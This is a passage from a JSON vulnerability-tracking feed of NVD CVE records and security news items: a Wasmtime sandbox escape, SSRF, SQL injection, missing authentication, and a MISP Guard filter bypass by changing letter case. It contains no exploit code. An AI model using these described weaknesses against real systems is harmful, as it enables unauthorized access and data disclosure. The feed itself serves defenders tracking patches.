fixes.","publishedAt":"2026-10-26T12:17:04.957Z","updatedAt":"2026-10-26T17:13:18.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115717","asOf":"2026-10-26T17:13:18.183Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115717","type":"primary","publishedAt":"2026-10-26T12:17:04.957Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-two-critical-wasmtime-flaws-could-let-f67f5ee9f8e3","cveId":null,"aliases":[],"kind":"vulnerability","title":"Two Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes","summary":"Two critical flaws in Wasmtime, a WebAssembly runtime that can be built into other software, could allow a malicious WebAssembly module to escape the sandbox intended to contain it, the project's maintainers say.\n\nAn attacker would first need a vulnerable Wasmtime build to compile a module they control, and one of the flaws affects only ARM64 systems. Fixed versions were released on","detail":"Two critical flaws in Wasmtime, a WebAssembly runtime that can be built into other software, could allow a malicious WebAssembly module to escape the sandbox intended to contain it, the project's maintainers say.\n\nAn attacker would first need a vulnerable Wasmtime build to compile a module they control, and one of the flaws affects only ARM64 systems. Fixed versions were released on\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-26T11:52:41.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Two Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes","url":"https://thehackernews.com/2026/10/two-critical-wasmtime-flaws-could-let.html","type":"reporting","publishedAt":"2026-10-26T11:52:41.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"helpnetsecurity-fortinet-patches-critical-fortios-flaws-found-with-ai-help-3072132390ac","cveId":null,"aliases":[],"kind":"vulnerability","title":"Fortinet patches critical FortiOS flaws found with AI help","summary":"Fortinet rolled out security hardening updates for FortiOS, FortiManager, FortiAnalyzer, FortiMail, and FortiAuthenticator last week, but is keeping the details about the fixed vulnerabilities under wraps until November 10, 2026. The vulnerabilities were uncovered with the help of AI models and validated by humans, Fortinet’s Chief Information Security Officer Carl Windsor explained in the advance announcement. But attackers also have access to AI tools, he warned, and can use them to find vulnerabilities and build … More → \n\n The post Fortinet patches critical FortiOS flaws found with AI help appeared first on Help Net Security .","detail":"Fortinet rolled out security hardening updates for FortiOS, FortiManager, FortiAnalyzer, FortiMail, and FortiAuthenticator last week, but is keeping the details about the fixed vulnerabilities under wraps until November 10, 2026. The vulnerabilities were uncovered with the help of AI models and validated by humans, Fortinet’s Chief Information Security Officer Carl Windsor explained in the advance announcement. But attackers also have access to AI tools, he warned, and can use them to find vulnerabilities and build … More → \n\n The post Fortinet patches critical FortiOS flaws found with AI help appeared first on Help Net Security .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-26T11:22:52.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Help Net Security: Fortinet patches critical FortiOS flaws found with AI help","url":"https://www.helpnetsecurity.com/2026/10/26/fortinet-patches-critical-fortios-flaws-found-with-ai-help/","type":"reporting","publishedAt":"2026-10-26T11:22:52.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"Help Net Security syndication feed","url":"https://www.helpnetsecurity.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89209","cveId":"CVE-2026-89209","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix...","summary":"A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 9 compatible) (All versions < V3.6.29). Affected versions of the module do not properly protect against SAML assertion replay in IdP-initiated authentication flows. This could allow unauthenticated remote attackers to gain unauthorized access to the application by replaying a valid SAML response.","detail":"A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 9 compatible) (All versions < V3.6.29). Affected versions of the module do not properly protect against SAML assertion replay in IdP-initiated authentication flows. This could allow unauthenticated remote attackers to gain unauthorized access to the application by replaying a valid SAML response.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:38.583Z","updatedAt":"2026-10-26T11:16:38.583Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89209","asOf":"2026-10-26T11:16:38.583Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89209","type":"primary","publishedAt":"2026-10-26T11:16:38.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116469","cveId":"CVE-2026-116469","aliases":[],"kind":"vulnerability","title":"MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks.","summary":"MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks. The functions check_required_taxonomy_exists, check_required_taxonomy_tags_allowed, check_blocked_attribute_categories, and check_blocked_analyst_data_sharing_groups_uuids performed case-sensitive string comparisons when matching event tags, attribute categories, and sharing-group UUIDs against configured allow/block lists.\n\nAn attacker with the ability to create or modify events in a MISP instance (or a connected instance that pushes events through the guard) could craft events using different letter case in taxonomy tag names, attribute categories, or sharing-group UUIDs to bypass the configured security policies. For example, if the policy requires the 'tlp' taxonomy with only 'tlp:clear' allowed, an event tagged 'TLP:AMBER' would not be recognized as belonging to the 'tlp' taxonomy and would therefore not be checked against the allowed-tags list, resulting in the event being forwarded to feed consumers. Similarly, a blocked attribute category such as 'Person' would not match a configured block entry of 'person', allowing the attribute to pass through the filter.\n\nThe security impact is unauthorized disclosure of threat-intelligence data that the operator intended to restrict. Events carrying non-allowed TLP (Traffic Light Protocol) markings, blocked attribute categories, or blocked sharing-group associations are forwarded to downstream feed consumers in violation of the configured distribution policy. This undermines the confidentiality controls that MISP Guard is designed to enforce.\n\nThe vulnerability is trivially exploitable: the attacker only needs to alter the letter case of a tag, category, or UUID string. No authentication beyond normal MISP event-creation privileges is required, and no user interaction is needed.","detail":"MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks. The functions check_required_taxonomy_exists, check_required_taxonomy_tags_allowed, check_blocked_attribute_categories, and check_blocked_analyst_data_sharing_groups_uuids performed case-sensitive string comparisons when matching event tags, attribute categories, and sharing-group UUIDs against configured allow/block lists.\n\nAn attacker with the ability to create or modify events in a MISP instance (or a connected instance that pushes events through the guard) could craft events using different letter case in taxonomy tag names, attribute categories, or sharing-group UUIDs to bypass the configured security policies. For example, if the policy requires the 'tlp' taxonomy with only 'tlp:clear' allowed, an event tagged 'TLP:AMBER' would not be recognized as belonging to the 'tlp' taxonomy and would therefore not be checked against the allowed-tags list, resulting in the event being forwarded to feed consumers. Similarly, a blocked attribute category such as 'Person' would not match a configured block entry of 'person', allowing the attribute to pass through the filter.\n\nThe security impact is unauthorized disclosure of threat-intelligence data that the operator intended to restrict. Events carrying non-allowed TLP (Traffic Light Protocol) markings, blocked attribute categories, or blocked sharing-group associations are forwarded to downstream feed consumers in violation of the configured distribution policy. This undermines the confidentiality controls that MISP Guard is designed to enforce.\n\nThe vulnerability is trivially exploitable: the attacker only needs to alter the letter case of a tag, category, or UUID string. No authentication beyond normal MISP event-creation privileges is required, and no user interaction is needed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:37.840Z","updatedAt":"2026-10-26T17:11:35.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116469","asOf":"2026-10-26T17:11:35.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116469","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116469","type":"primary","publishedAt":"2026-10-26T11:16:37.840Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116257","cveId":"CVE-2026-116257","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of...","summary":"A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of the component Installation Handler. This manipulation causes missing authentication. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of the component Installation Handler. This manipulation causes missing authentication. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:37.327Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116257","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116257","type":"primary","publishedAt":"2026-10-26T11:16:37.327Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116256","cveId":"CVE-2026-116256","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file...","summary":"A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file application/mp/controller/Show.php of the component Mp Module Media Proxy. The manipulation of the argument url results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file application/mp/controller/Show.php of the component Mp Module Media Proxy. The manipulation of the argument url results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:37.130Z","updatedAt":"2026-10-26T17:17:25.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116256","asOf":"2026-10-26T17:17:25.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116256","type":"primary","publishedAt":"2026-10-26T11:16:37.130Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115948","cveId":"CVE-2026-115948","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind SQL Injection.This issue affects Media LIbrary Assistant: from n/a through 3.42.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind SQL Injection.This issue affects Media LIbrary Assistant: from n/a through 3.42.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:35.550Z","updatedAt":"2026-10-26T14:16:32.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115948","asOf":"2026-10-26T14:16:32.310Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115948","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115948","type":"primary","publishedAt":"2026-10-26T11:16:35.550Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115608","cveId":"CVE-2026-115608","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects JetEngine: from n/a through 3.9.0.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects JetEngine: from n/a through 3.9.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T11:16:35.190Z","updatedAt":"2026-10-26T14:16:31.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115608","asOf":"2026-10-26T14:16:31.740Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115608","type":"primary","publishedAt":"2026-10-26T11:16:35.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE 